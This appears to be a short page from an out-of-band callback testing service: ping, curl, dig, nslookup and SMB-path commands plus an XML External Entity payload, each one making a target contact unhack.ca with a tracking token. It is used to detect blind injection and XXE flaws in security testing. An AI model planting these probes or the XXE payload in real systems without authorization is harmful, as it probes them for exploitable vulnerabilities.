$ ping -c1 -p 008b4278e65c6ee9cbda965faf8fe400 unhack.ca
 

$ curl http://unhack.ca/p/8b4278e65c6ee9cbda965faf8fe4
 

$ dig 8b4278e65c6ee9cbda965faf8fe4 @unhack.ca
 

$ dig 8b4278e65c6ee9cbda965faf8fe4.ns.unhack.ca
 

C:\> nslookup 8b4278e65c6ee9cbda965faf8fe4 unhack.ca
 

C:\> type \\unhack.ca\8b4278e65c6ee9cbda965faf8fe4\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8b4278e65c6ee9cbda965faf8fe4">]>
    <foo>&xxe;</foo>